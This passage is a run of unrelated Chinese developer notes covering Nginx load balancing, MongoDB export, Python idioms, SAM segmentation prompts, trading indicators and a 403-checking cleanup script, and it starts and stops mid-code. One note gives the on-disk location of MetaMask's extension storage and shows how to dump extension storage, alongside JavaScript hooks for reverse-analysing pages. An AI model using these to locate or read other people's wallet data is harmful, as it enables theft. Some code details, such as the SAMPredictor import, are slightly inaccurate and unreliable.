f.is_file()] with tqdm(total=len(files), desc=cache_dir.name, unit="file", ncols=100) as pbar: for file in files: target = dst / file.relative_to(src) target.parent.mkdir(parents=True, exist_ok=True) shutil.copy2(file, target) pbar.update(1)print("\n全部同步完成")关键点:shutil.rmtree 太暴力,改用 rename 加时间戳备份 保留最近 5 个备份,自动清理旧版本 tqdm 显示每个目录的文件级复制进度打包成独立 exe: pip install pyinstaller tqdm pyinstaller -F sync_ext.py
Binance WebSocket 多流订阅:Combined Stream 与 SUBSCRIBE 动态管理
Binance Spot WebSocket 的一个连接可以订阅多个代币的多个数据流,不需要为每个代币单独建连接。 方法一:Combined Stream URL 连接时直接在 URL 里拼接多个 stream,用 / 分隔: wss://stream.binance.com:9443/stream?streams=btcusdt@trade/ethusdt@tradewss://stream.binance.com:9443/stream?streams=btcusdt@bookTicker/ethusdt@bookTicker/solusdt@bookTicker收到的消息会包含 stream 字段标识来源: { "stream": "btcusdt@trade", "data": { ... } }方法二:SUBSCRIBE 消息(动态添加) 先连接基础 endpoint: wss://stream.binance.com:9443/ws连接建立后发送 JSON 消息订阅: { "method": "SUBSCRIBE", "params": [ "btcusdt@aggTrade", "ethusdt@aggTrade", "solusdt@aggTrade" ], "id": 1 }id 是请求 ID,服务端会返回对应的响应(result: null 表示成功): { "result": null, "id": 1 }取消订阅用 UNSUBSCRIBE,结构相同: { "method": "UNSUBSCRIBE", "params": ["btcusdt@aggTrade"], "id": 2 }常用 Stream 类型Stream 名称 说明<symbol>@trade 逐笔成交<symbol>@aggTrade 归集成交(合并同一时间同方向同价格的成交)<symbol>@bookTicker 最优挂单(bid/ask 实时更新)<symbol>@ticker 24 小时价格统计<symbol>@kline_1m K 线(1 分钟,其他周期类似)<symbol>@depth5 5 档深度快照<symbol>@depth@100ms 深度增量推送(100ms 间隔)<symbol> 全小写,如 btcusdt、ethusdt。 数量限制单个 WebSocket 连接最多订阅 1024 个 stream 超出上限需要新开连接 一般订阅几十到几百个代币的 bookTicker,一个连接完全够用选哪种方式场景 推荐启动时订阅固定代币列表 Combined Stream URL运行时动态增减代币 SUBSCRIBE / UNSUBSCRIBE需要区分消息来源 Combined Stream(有 stream 字段)两种方式可以混用:先用 Combined Stream URL 订阅一批,再用 SUBSCRIBE 动态添加新的代币。
Chrome/Edge 浏览器插件数据存放位置与读取方法
Chrome/Edge 插件安装目录 Windows Chrome: C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Extensions\Edge: C:\Users\用户名\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\每个插件一个子目录,目录名是插件 ID(32 位小写字母字符串): Extensions\ ├── nkbihfbeogaeaoehlefnkodbefgpgknn\ ← MetaMask │ └── 12.3.0_0\ │ ├── manifest.json │ ├── background.js │ └── ... ├── cjpalhdlnbpafiamejdnhcphjbkeiagm\ ← uBlock Origin │ └── ...插件存储的数据位置 chrome.storage.local 和 chrome.storage.sync 数据以 LevelDB 格式存在: Default\Local Extension Settings\插件ID\Chrome 示例: C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\ Local Extension Settings\ nkbihfbeogaeaoehlefnkodbefgpgknn\ ← MetaMask 存储 LOG CURRENT MANIFEST-000001 000003.ldb这是二进制 LevelDB 数据库,不能直接文本编辑器打开,需要 LevelDB 工具读取。 IndexedDB 存储 部分插件使用 IndexedDB: Default\IndexedDB\ chrome-extension_插件ID.indexeddb.leveldb\Session Storage / Cache Default\Session Storage\ Default\Cache\ Default\Code Cache\查找某个插件的 ID 在浏览器地址栏输入: chrome://extensions/开启开发者模式后,每个插件卡片下方显示 ID(32位字符串)。 在 DevTools 里查看插件存储内容打开 chrome://extensions/ 找到目标插件,点击「详情」 点击「检查视图」(Service Worker 或背景页) 在 Console 里执行:// 查看所有 chrome.storage.local 数据 chrome.storage.local.get(null, console.log);// 或用 async/await const data = await chrome.storage.local.get(); console.log(data);Manifest V3 的 Service Worker 和 V2 的 Background Page 都支持这个 API。 常见插件 ID(Chrome)插件 IDMetaMask nkbihfbeogaeaoehlefnkodbefgpgknnuBlock Origin cjpalhdlnbpafiamejdnhcphjbkeiagmTampermonkey dhdgffkkebhmkfjojejmpbldmpobfkfoSwitchyOmega padekgcemlokbadohgkifijomclgjgifEdge 的同款插件 ID 可能不同(Edge 有自己的扩展商店)。 macOS 位置 ~/Library/Application Support/Google/Chrome/Default/Extensions/ ~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/
uvicorn reload 模式下找不到文件:用 __file__ 解决相对路径问题
uvicorn 加 --reload 参数时,每次代码变更都会重启子进程。子进程在 import 模块时如果代码顶层有相对路径操作,很容易报 FileNotFoundError。 问题复现 # main.py import cv2img = cv2.imread("small.png", 0) # 顶层直接读取uvicorn main:app --reload启动会报: FileNotFoundError: [Errno 2] No such file or directory: 'small.png'原因:uvicorn reload 子进程的 工作目录(cwd) 可能和你预期的不一致,相对路径 "small.png" 找的是 cwd 下的文件而不是脚本旁边的文件。 解决:用 __file__ 构造绝对路径 from pathlib import PathBASE_DIR = Path(__file__).parentimg = cv2.imread(str(BASE_DIR / "small.png"), 0)Path(__file__).parent 是脚本自身所在目录,不受 cwd 影响,任何启动方式都一致。 统一管理项目路径 from pathlib import PathBASE_DIR = Path(__file__).parent MODELS_DIR = BASE_DIR / "models" DATA_DIR = BASE_DIR / "data" CONFIG_FILE = BASE_DIR / "config.yaml"然后全局使用 BASE_DIR / "xxx" 而不是裸字符串路径。 uvicorn 启动方式 字符串形式(支持 reload): uvicorn.run( "main:app", host="0.0.0.0", port=8000, reload=True )对象形式(不支持 reload): uvicorn.run( app, # FastAPI 对象 host="0.0.0.0", port=8000 # reload=True 在这里无效,reload 必须用字符串形式 )reload 模式会 fork 子进程并 import 指定模块,所以 module 名必须是字符串。 GPU 模型服务的 worker 数 如果 FastAPI 服务里加载了 GPU 模型(SAM、YOLO、PyTorch 等),只开 1 个 worker: uvicorn main:app --host 0.0.0.0 --port 8000 --workers 1多 worker 会导致每个进程加载一份模型,显存翻倍。CPU 服务才适合 workers = CPU核数 × 2 + 1。 Nginx upstream 与单进程 单进程 FastAPI 的 upstream 可以简化: upstream backend { server 127.0.0.1:18001; }location / { proxy_pass http://backend; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }weight、least_conn 在只有一个节点时没有任何效果,max_fails + fail_timeout 仍然生效(健康检测)。
Python list 转 dict 的几种写法
Python 里"把 list 转成 map"通常指把列表转成字典,方便按 key 查询。几种常见场景: 1. 两个列表合并成 dict keys = ["a", "b", "c"] values = [1, 2, 3]d = dict(zip(keys, values)) print(d) # {'a': 1, 'b': 2, 'c': 3}2. 元组列表转 dict data = [("a", 1), ("b", 2), ("c", 3)] d = dict(data) print(d) # {'a': 1, 'b': 2, 'c': 3}3. 对象列表按字段索引(最常用) 把 list[dict] 转成按某个 key 索引的字典,避免每次用 next(x for x in lst if x["id"] == ...) 线性搜索: users = [ {"id": 1, "name": "Tom"}, {"id": 2, "name": "Jack"}, {"id": 3, "name": "Lucy"} ]user_map = {u["id"]: u for u in users}print(user_map[2]) # {'id': 2, 'name': 'Jack'}这是查询密集型代码里的常用优化:构建一次 O(n),之后每次查找 O(1)。 4. 统计频次(Counter) from collections import Counterlst = ["a", "b", "a", "c", "a"] freq = Counter(lst)print(freq) # Counter({'a': 3, 'b': 1, 'c': 1}) print(freq["a"]) # 3 print(freq.most_common(2)) # [('a', 3), ('b', 1)]Counter 继承自 dict,支持 +、- 合并,常用于词频统计。 5. map() 函数式处理 Python 的 map() 不是字典,而是将函数应用到每个元素: nums = [1, 2, 3, 4]# 不推荐(用 list comprehension 更清晰) result = list(map(lambda x: x * 2, nums))# 推荐 result = [x * 2 for x in nums] print(result) # [2, 4, 6, 8]map() 返回迭代器,需要 list() 转换。列表推导式可读性更好,PyCharm 等工具也不会提示替换。 6. 分组 dict 按某个字段分组: from collections import defaultdictrecords = [ {"type": "A", "val": 1}, {"type": "B", "val": 2}, {"type": "A", "val": 3}, ]grouped = defaultdict(list) for r in records: grouped[r["type"]].append(r)print(dict(grouped)) # {'A': [{'type': 'A', 'val': 1}, {'type': 'A', 'val': 3}], # 'B': [{'type': 'B', 'val': 2}]}快速对比场景 写法两个列表合并 dict(zip(keys, vals))元组列表 dict(data)按字段索引 {item["id"]: item for item in lst}统计频次 Counter(lst)函数处理 [f(x) for x in lst](推荐 comprehension)分组 defaultdict(list)
Python list 转 dict/map 的五种常见姿势
Python 里说"list 转 map"通常指的是把列表变成字典(dict)。到底怎么转,取决于原始 list 长什么样。 1. 两个平行 list 转 dict keys 和 values 是分开的两列: keys = ["a", "b", "c"] values = [1, 2, 3]m = dict(zip(keys, values)) # {'a': 1, 'b': 2, 'c': 3}2. 二元组 list 转 dict 已经是 (key, value) 对: data = [("a", 1), ("b", 2), ("c", 3)] m = dict(data) # {'a': 1, 'b': 2, 'c': 3}3. 字典 list 按字段索引(最常用) 后端返回一堆对象,前端要按 ID 查——最典型场景: users = [ {"id": 1, "name": "Tom"}, {"id": 2, "name": "Jack"}, {"id": 3, "name": "Lucy"}, ]m = {u["id"]: u for u in users}m[2] # {'id': 2, 'name': 'Jack'}如果 key 会重复,改成分组: from collections import defaultdictgroups = defaultdict(list) for u in users: groups[u["dept"]].append(u)4. Python 内建 map() 函数 如果说的是 map() 而不是"映射": nums = [1, 2, 3, 4] result = list(map(lambda x: x * 2, nums)) # [2, 4, 6, 8]更 Pythonic 的写法是列表推导: result = [x * 2 for x in nums]5. 统计次数 用 Counter: from collections import Counterlst = ["a", "b", "a", "c", "a"] Counter(lst) # Counter({'a': 3, 'b': 1, 'c': 1})记忆表输入形态 用法两列 keys + values dict(zip(keys, values))[(k, v), ...] dict(data)[{...}, ...] 按字段 {u[key]: u for u in list}对每个元素求值 [f(x) for x in list]统计次数 Counter(list)
技术分析入门:Stochastic 随机指标与 ATR 波动率
技术分析中,Stochastic(随机指标)用于判断超买超卖,ATR 用于量化波动幅度,两者经常配合使用。 Stochastic 随机指标 %K 线(快线)计算公式: %K = (当前收盘价 - N 周期最低价) / (N 周期最高价 - N 周期最低价) × 100%D 线(慢线)= %K 的移动平均线(通常 3 周期 SMA) 常见参数:Stoch(14, 3, 3) 超买超卖的正确理解Stoch > 80:超买区——价格接近近期高点,不等于马上下跌 Stoch < 20:超卖区——价格接近近期低点,不等于马上反弹强趋势中,Stoch 可以在超买区(> 80)持续数周。直接在超买区做空是新手最常见的错误,强上涨趋势中会被持续轧空。 更可靠的使用方式 震荡行情:超买出现死叉(%K 下穿 %D)→ 考虑空;超卖出现金叉(%K 上穿 %D)→ 考虑多。 趋势行情(顺势交易):下跌趋势中,等反弹到高位出现 Stoch 死叉再做空 上涨趋势中,等回调到低位出现 Stoch 金叉再做多背离信号 顶背离(看跌):价格创新高,但 Stoch 没有创新高——上涨动能减弱。 价格:100 → 110(新高) Stoch:95 → 85(未创新高)背离不代表立即反转,需配合:Stoch 死叉 + 阻力位 + 成交量萎缩,多条件共振才更可靠。 底背离(看涨):价格创新低,但 Stoch 未创新低——空头力量衰竭。 ATR(Average True Range,平均真实波幅) ATR 回答的是:价格最近平均波动有多大,而不是方向。 True Range(TR)计算 每根 K 线的真实波幅取三个值中的最大值: TR = max( H - L, # 本根K线高低差 |H - 昨收|, # 处理向上跳空 |L - 昨收| # 处理向下跳空 )H = 最高价,L = 最低价 ATR(14) 计算 第一个值:前 14 根 K 线 TR 的简单平均。 后续更新(Wilder 平滑法): ATR(t) = ATR(t-1) + (TR(t) - ATR(t-1)) / 14ATR 的实战应用 动态止损: # 不使用固定点数,而是基于当前波动率 stop_loss = entry_price + 1.5 * atr # 做空的止损 take_profit = entry_price - 3 * atr # 做空的止盈固定止损(如 ±2%)在低波动市场太宽,在高波动市场太窄。ATR 止损随市场自适应。 判断追单风险:如果当根 K 线已经运动超过 2~3 个 ATR,追单的风险/收益比明显恶化。 顺势做空的基本逻辑 顺势做空不是"跌多了就空",而是:确认下跌趋势:均线空头排列,价格持续创新低 等反弹:不追空,等价格反弹到阻力位(云带/均线) 找信号:Stoch 在高位死叉,或出现顶背离 进场:止损放在反弹高点上方 1~1.5 ATR需要避免的情况:在强上涨趋势中因为超买做空 在重要支撑位附近追空(风险大,利润空间小) 重大消息前开仓(ATR 在消息前后会剧烈变化,技术指标失效) 小周期信号对抗大周期趋势Python 计算 ATR(简单实现) import pandas as pddef calculate_atr(df, period=14): df["tr"] = pd.concat([ df["high"] - df["low"], (df["high"] - df["close"].shift(1)).abs(), (df["low"] - df["close"].shift(1)).abs(), ], axis=1).max(axis=1) df["atr"] = df["tr"].ewm(alpha=1/period, adjust=False).mean() return dfpandas 的 ewm 实现了类 Wilder 的指数加权平均。
JavaScript 属性访问断点:Object.defineProperty getter 与 Proxy 监听
问题场景 想知道 window.__VINFO_DATA__.proxyhttp 在哪段代码中被读取,但不知道从哪里打断点。 方法一:Object.defineProperty getter(最直接) 在 Console 执行: const oldValue = window.__VINFO_DATA__.proxyhttp;Object.defineProperty(window.__VINFO_DATA__, "proxyhttp", { configurable: true, enumerable: true, get() { debugger; // 读取时触发断点 console.trace("proxyhttp get"); // 打印调用栈 return oldValue; }, set(v) { console.log("proxyhttp set", v); } });之后任何代码执行 window.__VINFO_DATA__.proxyhttp 时都会暂停在 debugger,可以在调用栈里找到来源。 方法二:Proxy 监听指定属性 如果属性值后续会变化,用 Proxy 更灵活: window.__VINFO_DATA__ = new Proxy(window.__VINFO_DATA__, { get(target, prop, receiver) { if (prop === "proxyhttp") { debugger; console.trace("proxyhttp get"); } return Reflect.get(target, prop, receiver); }, set(target, prop, value, receiver) { if (prop === "proxyhttp") { console.log("proxyhttp set", value); } return Reflect.set(target, prop, value, receiver); } });Reflect.get/set 保持原始行为,不破坏已有逻辑。 方法三:监控所有属性访问 不知道哪个属性会被访问时,监听整个对象: window.__VINFO_DATA__ = new Proxy(window.__VINFO_DATA__, { get(target, prop, receiver) { console.log("GET", prop); return Reflect.get(target, prop, receiver); } });会打印所有被读取的属性名,帮助定位目标属性。 检查已有描述符 在 hook 之前先检查属性的描述符,避免覆盖已有 getter: Object.getOwnPropertyDescriptor(window.__VINFO_DATA__, "proxyhttp") // {value: "...", writable: true, enumerable: true, configurable: true} // 或者 // {get: f, set: f, enumerable: true, configurable: true}如果已经有 getter,需要先保存原 getter 再包装: const desc = Object.getOwnPropertyDescriptor(window.__VINFO_DATA__, "proxyhttp"); const originalGet = desc.get;Object.defineProperty(window.__VINFO_DATA__, "proxyhttp", { ...desc, get() { debugger; return originalGet ? originalGet.call(this) : desc.value; } });适用场景场景 推荐方案监听特定属性读取 Object.defineProperty getter属性值会动态变化 Proxy不知道具体属性名 全对象 Proxy GET 打印属性已有 getter 保存原 getter 后包装这类调试技巧常用于逆向分析第三方网页、油猴脚本开发和 SDK 调试。
SAM2 / SAM3 文本 Prompt 分割:识别图片中所有特定区域
SAM2 / SAM3 不是问答模型,而是 Promptable Concept Segmentation(PCS) 模型——用自然语言描述一个"概念",模型会找出图中所有匹配的实例,每个都生成一个 mask。 Prompt 写法原则 SAM3 理解的是名词短语(concept),不理解逻辑指令: ✅ 有效 question exam question question block text region❌ 无效 all questions detect all questions find every question on this page写"具体描述词",让模型自己找所有实例。 常用场景 Prompt 试卷 / 文档题目识别 # 基础 text_prompt = "question"# 更精准 text_prompt = "exam question" text_prompt = "question block" text_prompt = "problem statement"负例过滤(排除干扰区域) positive_prompt = "exam question text region" negative_prompt = "header, title, footer, logo, watermark"交通标志识别 text_prompt = "traffic sign" text_prompt = "road sign"物体实例分割 text_prompt = "car" text_prompt = "pedestrian" text_prompt = "building window"Python 调用示例(SAM2 + Grounding DINO 方案) 目前实现 text-prompted 分割的常见管线是 Grounding DINO + SAM2(SAM 官方的 text prompt 能力仍在完善中): from groundingdino.util.inference import load_model, load_image, predict from segment_anything import SAMPredictor# Grounding DINO 定位 boxes, logits, phrases = predict( model=gd_model, image=image, caption="exam question block", box_threshold=0.35, text_threshold=0.25 )# SAM2 分割 predictor.set_image(image) masks, scores, _ = predictor.predict( point_coords=None, point_labels=None, box=boxes, # 把 DINO 的 bbox 传给 SAM multimask_output=False )只做区域切割 + OCR 的方案 SAM 负责"切块",OCR 负责"读内容": # Step 1: SAM 找到所有"题目区域"的 mask masks = sam_segment(image, text_prompt="question block")# Step 2: 按 mask 裁剪图片区域 for i, mask in enumerate(masks): bbox = mask_to_bbox(mask) region = image[bbox[1]:bbox[3], bbox[0]:bbox[2]] # Step 3: OCR 识别文字 text = paddleocr.ocr(region) print(f"题目 {i}: {text}")OCR 推荐:PaddleOCR(中文强)、TrOCR(表格/印刷体强)、Tesseract(通用)。 SAM 的能力边界能力 SAM 支持找出所有"题目"区域 ✅生成 mask/bbox ✅理解"这是第几题" ❌读出题目内容 ❌(需要 OCR)判断题目难度 ❌(需要 LLM)SAM 只做像素级分割,不做语义理解。完整的文档结构化提取需要 SAM + OCR + LLM 组合。 一句话总结 SAM3 文本 prompt 用具体名词短语,它会自动找出所有匹配的实例。复杂场景可以加 negative prompt 排除干扰,或者组合 Grounding DINO + SAM2 + OCR 构建完整的图像理解管线。
SAM3 Prompt 工程:识别文档中的题目区域与多实例分割
SAM3 的核心机制:PCS SAM3 不是问答模型,而是 Promptable Concept Segmentation(PCS) 模型:输入:概念描述(名词短语) 输出:所有匹配该概念的实例 Mask(多个)理解这一点才能写出有效 prompt。 识别题目区域的 Prompt 通用(推荐): exam question question block problem statement更细粒度: question text region numbered question multiple choice question fill-in-the-blank question文档/OCR 类: text question area exercise item不要写 all questions 或 detect all questions,SAM3 不理解 all、detect 这类逻辑词。用名词短语描述"这类东西是什么",SAM3 会自动找出所有实例。 Python 调用示例 import torch from sam3 import SAM3model = SAM3.from_pretrained("facebook/sam3-base") model.eval()from PIL import Image image = Image.open("exam_page.jpg")# PCS 模式:用概念 prompt 找所有实例 with torch.no_grad(): masks = model.predict_concept( image=image, concept="exam question", threshold=0.5 )print(f"找到 {len(masks)} 个题目区域")for i, mask in enumerate(masks): # mask 是 numpy bool array,shape = (H, W) print(f"题目 {i+1}: bbox = {mask_to_bbox(mask)}")与 GroundingDINO 组合使用 SAM3 PCS 直接输出 Mask,但复杂图片中 Mask 边界可能不够精确。可以先用 GroundingDINO 获得检测框,再用 SAM3 精确分割: from groundingdino.util.inference import predict as gdino_predict from sam3 import SAM3Predictor# Step 1: GroundingDINO 获得题目框 boxes, _, _ = gdino_predict( model=gdino_model, image=image, caption="exam question", box_threshold=0.3, text_threshold=0.25 )# Step 2: SAM3 对每个框精确分割 sam3_predictor = SAM3Predictor(model) sam3_predictor.set_image(image)for box in boxes: masks, scores, _ = sam3_predictor.predict( box=box, multimask_output=False ) # masks[0] 即为精确 Mask组合方案比单独使用任一模型效果更好。 Prompt 调试技巧从通用开始,再细化:先试 question,如果噪声太多再改 exam question block同义词扩展:英文 question、problem、exercise、item 可能效果不同,逐一测试调整阈值:threshold 降低会找到更多实例(包括噪声),提高则更保守多 prompt 投票:对同一图片用多个 prompt 预测,取交集或并集prompts = ["exam question", "question block", "problem statement"] all_masks = []for p in prompts: masks = model.predict_concept(image=image, concept=p, threshold=0.4) all_masks.extend(masks)# NMS 去重(基于 IoU) final_masks = nms_masks(all_masks, iou_threshold=0.5)常见场景 Prompt 参考场景 推荐 Prompt试卷题目 exam question, question block表单字段 form field, input field车辆检测 car, vehicle, truck人脸 human face, person face交通标志 traffic sign, road sign文字区域 text region, printed textSAM3 的训练数据以英文概念为主,中文 prompt(如"题目")效果不稳定,建议始终使用英文。
Nginx upstream 负载均衡配置:轮询、ip_hash、权重、least_conn 与 PHPStudy 位置问题
基本结构 upstream 定义后端服务器组,proxy_pass 引用该组名: upstream backend { server 192.168.1.10:8000; server 192.168.1.11:8000; server 192.168.1.12:8000; }server { location / { proxy_pass http://backend; # ... 其他 proxy 配置 } }四种均衡策略 轮询(默认):依次分配请求,适合无状态服务: upstream backend { server 192.168.1.10:8000; server 192.168.1.11:8000; }ip_hash:同一客户端 IP 固定打到同一台服务器,适合有 Session 的服务: upstream backend { ip_hash; server 192.168.1.10:8000; server 192.168.1.11:8000; }weight(加权轮询):按权重比例分配流量: upstream backend { server 192.168.1.10:8000 weight=4; server 192.168.1.11:8000 weight=2; server 192.168.1.12:8000 weight=1; }least_conn(最少连接):新请求优先分配给当前连接数最少的服务器,适合耗时不均匀的服务(如 AI 推理、文件处理): upstream backend { least_conn; server 192.168.1.10:8000; server 192.168.1.11:8000; }健康检查 max_fails 次失败后暂时摘除节点,fail_timeout 秒后重试: upstream backend { server 192.168.1.10:8000 max_fails=3 fail_timeout=30s; server 192.168.1.11:8000 max_fails=3 fail_timeout=30s; }错误:upstream directive is not allowed here [emerg] "upstream" directive is not allowed here in vhosts/xxx.conf:24原因:upstream 只能放在 http {} 块内,不能放在 server {} 或 location {} 内。 PHPStudy 等面板生成的 vhosts 文件是 server {} 块,不能在里面定义 upstream。 解决方案:在主 nginx.conf 的 http {} 块中定义: # nginx.conf http { upstream backend { server 192.168.1.10:8000; server 192.168.1.11:8000; } include vhosts/*.conf; # vhosts 文件只包含 server{} 块 }配置验证与重载 nginx -t # 检查配置语法 nginx -s reload # 平滑重载(不中断现有连接)
Nginx 反向代理改造成负载均衡:踩坑与正确写法
原本站点是这样的反向代理: location / { proxy_pass http://192.168.5.31:8000; proxy_set_header Host $host:$server_port; proxy_set_header X-Real-IP $remote_addr; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; }后端加机器了,要改成负载均衡。看着简单,但一路踩了两个坑。 步骤一:定义 upstream 轮询模式最简单: upstream backend { server 192.168.5.31:8000; server 192.168.5.32:8000; server 192.168.5.33:8000; }location 里的 proxy_pass 改成: proxy_pass http://backend;三种策略怎么选 WebSocket / 长连接:ip_hash 同一个客户端 IP 固定打到同一台机器,session 不会乱: upstream backend { ip_hash; server 192.168.5.31:8000; server 192.168.5.32:8000; }机器性能不同:weight upstream backend { server 192.168.5.31:8000 weight=4; server 192.168.5.32:8000 weight=2; server 192.168.5.33:8000 weight=1; }流量大致按 57% / 29% / 14% 分。 AI 推理、长请求:least_conn 轮询在这种场景很糟糕——某台机器可能同时挤了 5 个几十秒的推理请求,其他机器闲着。least_conn 会挑当前连接数最少的: upstream backend { least_conn; server 192.168.5.31:8000; server 192.168.5.32:8000; server 192.168.5.33:8000; }顺手加个健康检查,挂了的自动摘除: server 192.168.5.31:8000 max_fails=3 fail_timeout=30s;坑一:upstream directive is not allowed here 改完 reload,直接报: nginx: [emerg] "upstream" directive is not allowed here in D:\phpstudy_pro\Extensions\Nginx1.15.11/conf/vhosts/127.0.0.1_8000.conf:24upstream 只能写在 http {} 块里,不能写进 server {} 或 location {}。而 PHPStudy 类面板的 vhost 文件通常等价于一个 server 配置片段,里面就不能定义 upstream。 正确做法:把 upstream backend {...} 挪进主 nginx.conf 的 http {} 里,vhost 文件里只放 location。 # nginx.conf http { upstream backend { least_conn; server 192.168.5.31:8000; server 192.168.5.32:8000; } include vhosts/*.conf; }坑二:proxy_pass 少了协议头 写成: proxy_pass backend;Nginx 会直接报语法错误。proxy_pass 必须带上 http:// 或 https://: proxy_pass http://backend;检查与重载 nginx -t # 语法检查 nginx -s reload # 平滑重载一句话总结 upstream 放 http {}、proxy_pass 别忘 http://、AI/长任务优先 least_conn。三点一起做好,反代改负载均衡基本一次成。
MongoDB 导出数据:mongodump 和 mongoexport 怎么选
MongoDB 导出数据有两个官方工具,用途各不同:mongodump — 二进制 BSON,用于完整备份和恢复(配合 mongorestore) mongoexport — JSON / CSV 明文,用于数据处理和迁移到其它系统搞混了会踩坑:拿 BSON 想给别的系统吃是不行的,拿 JSON 恢复也丢索引和元数据。 mongodump:完整备份 mongodump \ --host localhost \ --port 27017 \ --db test \ --out ./backup产物: backup/ └── test/ ├── users.bson # 数据(BSON 格式) ├── users.metadata.json # 索引、options 等元信息 └── orders.bson恢复: mongorestore ./backup # 或指定库 mongorestore --nsInclude "test.*" ./backupgzip 压缩: mongodump --db test --archive=backup.gz --gzip mongorestore --archive=backup.gz --gzip生产备份用这个——单文件、自带索引元数据、恢复一步到位。 mongoexport:导出 JSON / CSV mongoexport \ --db test \ --collection users \ --out users.json默认是 NDJSON(每行一个 JSON 对象): {"_id":{"$oid":"..."},"name":"Tom","age":18} {"_id":{"$oid":"..."},"name":"Jerry","age":22}想要标准 JSON 数组: mongoexport --db test --collection users --jsonArray --out users.json导出 CSV: mongoexport \ --db test \ --collection users \ --type=csv \ --fields=name,age,email \ --out users.csvCSV 必须显式列出 --fields,不给字段名会报错。 条件导出 --query 是 MongoDB shell 的 JSON 语法: mongoexport \ --db test \ --collection users \ --query '{"age":{"$gt":18},"status":"active"}' \ --out active_users.json日期区间过滤: --query '{"createdAt":{"$gte":{"$date":"2026-01-01T00:00:00Z"}}}'带账号密码 推荐用 URI 一把传: mongoexport \ --uri="mongodb://admin:PASSWORD@127.0.0.1:27017/test?authSource=admin" \ --collection users \ --jsonArray \ --out users.json或者分开: mongodump \ --host localhost --port 27017 \ --username admin --password PASSWORD \ --authenticationDatabase admin \ --db test --out backupauthSource=admin 很重要——默认认证库是当前 db,绝大多数生产环境把用户建在 admin 库。 Docker 里的 MongoDB 进容器里跑: docker exec -it mongo mongodump --db test --out /tmp/backup docker cp mongo:/tmp/backup ./backup或者从宿主机直连(容器映射了端口): mongodump --host 127.0.0.1 --port 27017 --db test --out ./backupPython 版本 from pymongo import MongoClient import jsonclient = MongoClient("mongodb://localhost:27017") col = client["test"]["users"]# 不要 _id 字段,方便导入到其它系统 data = list(col.find({}, {"_id": 0}))with open("users.json", "w", encoding="utf-8") as f: json.dump(data, f, ensure_ascii=False, indent=2)按条件流式导出(大数据集省内存): import jsonwith open("users.ndjson", "w", encoding="utf-8") as f: for doc in col.find({"age": {"$gt": 18}}, {"_id": 0}): f.write(json.dumps(doc, ensure_ascii=False) + "\n")一张对比表需求 用什么备份 + 恢复到 MongoDB mongodump迁移到 MongoDB(跨版本、跨集群) mongodump + mongorestore导出给下游数据管道用 mongoexport --jsonArray导出给 Excel / BI mongoexport --type=csv定制字段结构、脱敏 Python + pymongo增量导出 --query + 时间戳过滤一句话总结 备份恢复用 mongodump,跨系统迁移用 mongoexport。Docker 容器里跑要注意 exec 进去或映射端口。生产环境永远用 URI + authSource=admin。
OpenCode MCP 服务器配置:type 和 enabled 字段必填
错误信息 在 ~/.config/opencode/opencode.jsonc 里配置 MCP server 时,如果只写了 command 和 args,启动 OpenCode 会报: Configuration is invalid at ...opencode.jsonc ↳ Expected { readonly "type": "local", ... } | { readonly "type": "remote", ... }, got {"my-server":{"command":"node","args":["dist/index.js"]}} mcp.servers ↳ Missing key mcp.servers.enabled旧写法 vs 新写法 旧版本格式(现在会报错): { "mcp": { "servers": { "my-server": { "command": "node", "args": ["dist/index.js"] } } } }新版本要求每个 server 必须包含 type 和 enabled: { "mcp": { "servers": { "my-server": { "type": "local", "enabled": true, "command": "node", "args": ["dist/index.js"] } } } }type 的两个合法值type 用途 必填字段"local" 本机可执行文件,由 OpenCode 直接 fork 进程 command、args"remote" 远程 HTTP/HTTPS MCP 端点 urllocal 示例(Node.js 脚本): { "mcp": { "servers": { "my-mcp": { "type": "local", "enabled": true, "command": "node", "args": ["D:\\project\\my-mcp\\dist\\index.js"] } } } }remote 示例(HTTP 端点): { "mcp": { "servers": { "remote-mcp": { "type": "remote", "enabled": true, "url": "http://localhost:3001/mcp" } } } }多个 server 示例 { "mcp": { "servers": { "database-tools": { "type": "local", "enabled": true, "command": "node", "args": ["dist/db-mcp.js"] }, "file-tools": { "type": "local", "enabled": false, "command": "python", "args": ["-m", "file_mcp"] } } } }enabled: false 可以临时禁用某个 server 而不删除配置。 Windows 路径注意 Windows 路径中反斜杠在 JSON 里需要转义: "args": ["D:\\project\\dist\\index.js"]或者用正斜杠(Node.js 和大多数 CLI 工具都支持): "args": ["D:/project/dist/index.js"]
Python 多线程检查 HTTP 状态码并删除 403 文件
批量检查 data/*.json 里的图片 URL,删除所有返回 403 的 JSON 文件。 单线程版本 import json from pathlib import Pathimport requestsfor json_file in Path("data").glob("*.json"): try: data = json.loads(json_file.read_text(encoding="utf-8")) if not data: continue url = data[0].get("imgHttpUrl") if not url: continue r = requests.get(url, stream=True, timeout=10) if r.status_code == 403: print(f"删除 {json_file}") json_file.unlink() except Exception as e: print(json_file, e)只检查数组第一个元素的 URL,够快。若一个文件里所有 URL 都要检查,把 data[0] 改成循环即可。 多线程版本(100 并发) import json from pathlib import Path from concurrent.futures import ThreadPoolExecutor, as_completedimport requestsDATA_DIR = Path("data") MAX_WORKERS = 100session = requests.Session()def check_file(json_file: Path): try: data = json.loads(json_file.read_text(encoding="utf-8")) if not data: return url = data[0].get("imgHttpUrl") if not url: return # 优先用 HEAD,减少带宽 r = session.head(url, timeout=10, allow_redirects=True) # 部分服务器不支持 HEAD,降级到 GET if r.status_code == 405: r = session.get(url, stream=True, timeout=10) if r.status_code == 403: print(f"[删除] {json_file}") json_file.unlink() except Exception as e: print(f"[错误] {json_file}: {e}")files = list(DATA_DIR.glob("*.json"))with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: futures = [executor.submit(check_file, f) for f in files] for _ in as_completed(futures): passprint("完成")requests.Session 在多线程中是线程安全的,复用 TCP 连接比每次创建新 session 快。 并发数选择文件数 建议 workers< 1000 501000~10000 100> 10000 考虑 aiohttp + asyncioHTTP 请求是 IO 密集型,100 线程一般没问题。若服务端有限流,调小 MAX_WORKERS。 aiohttp 异步版(超大规模) 文件数超过 10 万时,aiohttp 比线程池快几倍: import asyncio import json from pathlib import Pathimport aiohttp import aiofilesDATA_DIR = Path("data") CONCURRENCY = 500async def check_file(session, json_file: Path): try: async with 